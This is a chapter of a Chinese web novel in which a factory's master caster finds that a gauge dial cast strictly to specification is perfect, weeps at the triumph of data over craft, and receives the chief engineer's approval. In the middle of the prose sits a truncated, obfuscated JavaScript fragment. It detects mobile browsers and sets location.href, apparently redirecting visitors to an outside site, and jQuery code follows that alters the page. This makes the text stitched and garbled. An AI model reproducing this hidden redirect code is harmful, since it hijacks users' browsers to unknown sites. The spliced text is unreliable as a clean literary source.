那声预想中的、象征着彻底失败的碎裂声,始终没有响起。 当白雾渐渐散去,露出了那只依旧完整的、只是颜色变得斑驳灰白的石膏模具时,一阵压抑不住的、粗重的喘息声,在人群中此起彼伏。 还活着。 它还活着! “开模。” 江建国的声音依旧沙哑,却多了一丝难以察觉的颤抖。 两名工人立刻上前,一人用铁钳稳稳地固定住模具,另一人则举起了铁锤。 他没有像上次那样随意敲击,而是目光凝重,小心翼翼地在模具的边缘,轻轻一磕。 一声轻响。 石膏外壳应声裂开一道细缝。 紧接着,是第二下,第三下。 工人的动作精准而克制,像是在剥开一枚珍贵的蛋。 随着一块块石膏被剥落,那个凝聚了所有人希望与恐惧的刻度盘,终于再次露出了它的真容。 它通体呈现出一种均匀的、带着金属光泽的青灰色。 表面依旧粗糙,却再无上次那种因高温而产生的细小裂纹。 最重要的是,外圈那排米粒大小的精密齿轮,每一个都轮廓清晰,形态完整,仿佛一支排列整齐的、沉默的军队。 它静静地躺在那里,完美得像一个工业神迹。 然而,这一次,车间里没有爆发出任何欢呼。 取而代之的,是一种更为深沉的、令人头皮发麻的震撼。 所有人都死死地盯着那个铸件,又下意识地抬头,看了一眼墙上贴着的那张图纸。 他们的目光在实物与数据之间来回移动,眼神里充满了敬畏与迷茫。 成功了。 在他们放弃了自己引以为傲的“手艺”,转而像机器一样去服从那些枯燥的数字之后,成功就这么理所当然地到来了。 这个结果,比任何失败都更让他们感到灵魂上的战栗。 江建国缓缓走上前,蹲下身。 他伸出那双布满了老茧和伤痕的手,想要去触摸那个铸件,却又在半空中停住,仿佛那不是一块冰冷的钢铁,而是一团燃烧的圣火。 他收回手,转身,用一种近乎梦呓的声音说道:“卡尺。” 铸造主任立刻将一把崭新的游标卡尺递了过去。 江建国接过卡尺,深吸了一口气。 他那双曾能徒手分辨出零点一毫米差距的手,此刻竟有些控制不住地微微颤抖。 他努力了两次,才将卡尺的主尺和游标,稳稳地卡在了刻度盘的外圆上。 车间里所有人都下意识地向前凑了一步,伸长了脖子,连大气都不敢喘。 他们的目光,全部聚焦在那小小的、闪烁着金属光泽的刻度线上。 江建国缓缓地,将卡尺举到眼前。 他的瞳孔,在那一瞬间,骤然收缩。 那根代表着“0”的游标刻度线,不偏不倚,与主尺上代表着标准尺寸的那条刻度线,完美地、严丝合缝地重合在了一起。 分毫不差。 他又去卡内孔。 结果,依旧是分毫不差! “嗡”江建国的脑子里,像是有什么东西轰然炸开。 他丢下卡尺,双手颤抖着,终于捧起了那块尚有余温的刻度盘。 他用指腹,轻轻地、一遍又一遍地摩挲着那些精密而冰冷的齿轮。 那完美的尺寸,那精确的形态,都在通过指尖的触感,向他传递着一个颠覆性的、不容置疑的真理。 他错了。 他过去几十年所信奉的一切,都错了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16366112|183469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 真正的工业,不是一门手艺,不是一种经验,更不是一门可以凭感觉去揣摩的艺术。 它是一门科学。 一门由数字、公式和标准构筑的,冰冷、严苛,却拥有着创世之力的科学。 两行滚烫的液体,毫无征兆地从这位老人干涸的眼眶中汹涌而出,顺着他脸颊上纵横交错的皱纹,滴落在那块完美的铸件上,瞬间蒸发,只留下一丝淡淡的水痕。 他没有哭出声,只是死死地抱着那块刻度盘,瘦削的肩膀剧烈地耸动着,像一个迷途了几十年终于找到信仰的孩子。 就在这时,那个熟悉而冷淡的声音,再次从车间门口传来。 “看来,你们总算学会了怎么跟钢铁讲道理。” 众人浑身一震,猛地回头。 只见路承舟不知何时已经站在了那里,神情一如既往的平静,仿佛眼前这足以载入红星厂史册的一幕,对他而言,不过是一件微不足道的小事。 他走了进来,从失魂落魄的江建国手中,自然而然地接过了那块刻度盘。 他没有用卡尺,而是从口袋里摸出了一把更精密的、读数更为苛刻的千分尺。 所有人的心,又一次提到了嗓子眼。 路承舟熟练地校准,然后开始对几个关键的齿轮厚度进行抽样检测。 他的动作行云流水,带着一种机械般的美感。 片刻后,他放下了千分尺。 “齿形轮廓度,还在公差范围的上限徘徊。” 他淡淡地评价道,“模具的细节处理,有待提高。” 一句话,让刚刚升起的一丝暖意,又被寒冰冻结。 但这一次,没有人感到**或不忿,所有人都下意识地挺直了腰杆,像是在聆听教诲的学生。 路承舟将刻度盘递还给铸造主任,语气里听不出一丝波澜。 “合格。” “送到机加工车间,进行精加工。告诉他们,以此为基准,所有的同轴度、垂直度,都必须严格参照。” 说完,他便转身,准备离去。 “路总师!” 江建国忽然抬起头,叫住了他。 这位老人已经擦干了眼泪,他缓缓站直了身体,对着路承舟那年轻得过分的背影,深深地,深深地鞠下了一躬。 “谢谢你……给我们上了这一课。” 路承舟的脚步顿了顿,却没有回头。 “记住数据的重量。” 他留下这句话,身影便消失在了车间的门口。 铸造车间里,一片沉默。 许久之后,铸造主任才如梦初醒,他小心翼翼地,用最干净的绒布将那块刻度盘层层包裹起来,仿佛捧着一件稀世珍宝。 “走!” 他对着身边两个最得力的干将低吼一声,“我们亲自给机加工车间送过去!” 当这块承载着全新秩序的“基准”被护送出去时,工装设计室的门,也“吱呀”一声被推开。 刘师傅拖着灌了铅一样的双腿走了出来,他双眼通红,形容枯槁,手里却紧紧攥着一张刚刚完成的、墨迹未干的图纸。 图纸的标题栏里,一排挺拔的仿宋字,在黎明的微光中,显得格外醒目:【强心柴油机曲轴总成图(公坐标准01版)】